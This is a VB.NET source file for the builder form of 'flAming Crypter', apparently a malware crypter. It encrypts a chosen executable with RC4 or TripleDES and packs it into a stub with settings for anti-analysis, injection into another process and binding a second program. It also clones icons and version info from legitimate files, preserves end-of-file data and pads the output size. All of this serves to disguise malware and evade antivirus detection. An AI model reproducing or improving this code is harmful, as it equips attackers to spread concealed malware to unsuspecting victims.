crypters-scode/scode (MyCrypterzzz/MyCrypter/Form1.vb

Imports System.IO
Imports System.Text

Public Class Form1
    Dim ifile, res, enctype, antis, processZ, cfile, bfile, b1file, iSbinded As String
    Dim output As String = Application.StartupPath + "\done.exe"
    Dim Stub As String = Application.StartupPath + "\winini.exe"


    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnCtypt.Click
        If TextFile.Text = "" Then
            MsgBox("Select a file to crypt.", MsgBoxStyle.Information, "Select a file")
            Exit Sub
        End If

        If File.Exists(output) Then
            Kill(output)
        End If

        File.Copy(Application.StartupPath + "\res\winini.exe", Stub)

        If CheckAntis.Checked Then
            antis = "true"
        Else
            antis = "false"
        End If

        If CheckInject.Checked Then
            processZ = TextProc.Text
        Else
            processZ = "own"
        End If

        If CheckIcon.Checked = True Then
            If TextIcon.Text = "" Then
                MsgBox("Select an icon.", MsgBoxStyle.Information, "Select an icon")
                Exit Sub
            End If
        Else
            Call IconIt(TextIcon.Text)
        End If

        If CheckClone.Checked = True Then
            If TextClone.Text = "" Then
                MsgBox("Select a file to clone with..", MsgBoxStyle.Information, "Clone")
                Exit Sub
            End If
        Else
            Call CloneIt(TextClone.Text)
        End If

        Call cit()

        File.Delete(Stub)

        TextBox1.Text = ReadEOFData(TextFile.Text)

        If CheckBox1.Checked = True Then
            ReadEOFData(TextFile.Text)
            WriteEOFData(output, TextBox1.Text)
        End If

        If CheckBytes.Checked Then
            Dim file1 = File.OpenWrite(Application.StartupPath + "\done.exe")
            Dim siza = file1.Seek(0, SeekOrigin.[End])
            Dim size = Convert.ToInt32(TextBytes.Text)
            Dim bite As Decimal = size * 1048576
            While siza < bite
                siza += 1
                file1.WriteByte(0)
            End While
            file1.Close()
        End If
        MsgBox("File Crypted Succesfully", MsgBoxStyle.Information, "Success")
    End Sub

    Private Sub IconIt(ByVal SourceIcon As String)
        Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & ", " & Stub & ", " & SourceIcon & ", " & "icongroup, 1,0")
    End Sub
    Private Sub CloneIt(ByVal SourceFile As String)
        Shell(App_Path() & "res\\res.exe -extract " & SourceFile & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,,")
        Shell(App_Path() & "res\\res.exe -delete " & Stub & "," & App_Path() + "res\\res.exe" & ",VERSIONINFO,,")
        Shell(App_Path() & "res\\res.exe -addoverwrite " & Stub & "," & Stub & "," & App_Path() & "res\\info.res" & ",VERSIONINFO,1,")
    End Sub
    Public Function App_Path() As String
        Return System.AppDomain.CurrentDomain.BaseDirectory()
    End Function

    Private Sub cit()
        Dim key As String = TextEnc.Text
        Dim Cut As String = "/Assembly/"
        'get stub
        FileOpen(1, Stub, OpenMode.Binary)
        res = Space(LOF(1))
        FileGet(1, res)
        FileClose(1)

        'get file to crypt
        FileOpen(1, (TextFile.Text), OpenMode.Binary)
        ifile = Space(LOF(1))
        FileGet(1, ifile)
        FileClose(1)

        'get file to bind
        If CheckBind.Checked Then
            iSbinded = "yes"
            FileOpen(1, (TextBind.Text), OpenMode.Binary)
            bfile = Space(LOF(1))
            FileGet(1, bfile)
            FileClose(1)
            b1file = bfile
            If CheckDES.Checked Then
                b1file = _3des.Encrypt(bfile, key, True)
            ElseIf CheckRC4.Checked Then
                b1file = rc4.rc4(bfile, key)
            End If
        End If

        cfile = ifile
        If CheckDES.Checked Then
            enctype = "tripleDES"
            cfile = _3des.Encrypt(ifile, key, True)
        ElseIf CheckRC4.Checked Then
            enctype = "rc4"
            cfile = rc4.rc4(ifile, key)
        End If

        FileOpen(1, output, OpenMode.Binary)
        FilePut(1, res)
        FilePut(1, Cut)
        FilePut(1, cfile)
        FilePut(1, Cut)
        FilePut(1, key)
        FilePut(1, Cut)
        FilePut(1, enctype)
        FilePut(1, Cut)
        FilePut(1, antis)
        FilePut(1, Cut)
        FilePut(1, processZ)
        FilePut(1, Cut)
        FilePut(1, iSbinded)
        FilePut(1, Cut)
        FilePut(1, b1file)
        FilePut(1, Cut)
        FileClose(1)
    End Sub


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBrowse.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .ShowDialog()
            TextFile.Text = .FileName
            ifile = TextFile.Text
        End With
    End Sub

    Private Sub BtnIcon_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnIcon.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Icons(*.ico)|*.ico"
            .ShowDialog()
            TextIcon.Text = .FileName
        End With
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Dim myfkey As String = GetRandom.ToString
        TextEnc.Text = myfkey
        CreateObject("SAPI.SpVoice").Speak("Welcome to flAming Crypter")
    End Sub

    Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
        Dim random As New Random()
        Return random.Next(min, max)
    End Function

    Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
        Dim builder As New StringBuilder()
        Dim random As New Random()
        Dim ch As Char
        Dim i As Integer
        For i = 0 To size - 1
            ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
            builder.Append(ch)
        Next i
        If lowerCase Then
            Return builder.ToString().ToLower()
        End If
        Return builder.ToString()
    End Function

    Public Function GetRandom() As String
        Dim builder As New StringBuilder()
        builder.Append(RandomString(4, True))
        builder.Append(RandomNumber(1000, 9999))
        builder.Append(RandomString(2, False))
        Return builder.ToString()
    End Function


    Private Sub BtnClone_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnClone.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .ShowDialog()
            TextClone.Text = .FileName
        End With
    End Sub

    Private Sub BtnBind_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BtnBind.Click
        With OpenFileDialog1
            .FileName = ""
            .Filter = "Executable(*.exe)|*.exe"
            .ShowDialog()
            TextBind.Text = .FileName
        End With
    End Sub

    Public Function ReadEOFData(ByRef FilePath As String) As String
        On Error GoTo Err_Renamed
        Dim sEOFBuf, sFileBuf, sChar As String
        Dim lPos2, lFF, lPos, lCount As Integer
        If Dir(FilePath) = "" Then GoTo Err_Renamed
        lFF = FreeFile()
        FileOpen(lFF, FilePath, OpenMode.Binary)
        sFileBuf = Space(LOF(lFF))
        FileGet(lFF, sFileBuf)
        FileClose(lFF)
        lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
        sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
        ReadEOFData = StrReverse(sEOFBuf)
        If ReadEOFData = "" Then
        End If
        Exit Function
Err_Renamed:
        ReadEOFData = vbNullString
    End Function

    Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
        Dim sFileBuf As String
        Dim lFF As Integer
        On Error Resume Next
        If Dir(FilePath) = "" Then Exit Sub
        lFF = FreeFile()
        FileOpen(lFF, FilePath, OpenMode.Binary)
        sFileBuf = Space(LOF(lFF))
        FileGet(lFF, sFileBuf)
        FileClose(lFF)
        Kill(FilePath)
        lFF = FreeFile()
        FileOpen(lFF, FilePath, OpenMode.Binary)
        FilePut(lFF, sFileBuf & EOFData)
        FileClose(lFF)
    End Sub

    Public Function GetNullBytes(ByRef lNum As Object) As String
        Dim sBuf As String
        Dim i As Short
        For i = 1 To lNum
            sBuf = sBuf & Chr(0)
        Next
        GetNullBytes = sBuf
    End Function

    Private Sub CheckClone_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckClone.CheckedChanged
        If CheckClone.Checked = True Then
            BtnClone.Enabled = True
        ElseIf CheckClone.Checked = False Then
            BtnClone.Enabled = False
        End If
    End Sub

    Private Sub CheckIcon_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckIcon.CheckedChanged
        If CheckIcon.Checked = True Then
            BtnIcon.Enabled = True
        ElseIf CheckIcon.Checked = False Then
            BtnIcon.Enabled = False
        End If
    End Sub

    Private Sub CheckBind_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBind.CheckedChanged
        If CheckBind.Checked = True Then
            BtnBind.Enabled = True
        ElseIf CheckBind.Checked = False Then
            BtnBind.Enabled = False
        End If
    End Sub
    Private Sub frmMain_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
        Form2.Close()
    End Sub
End Class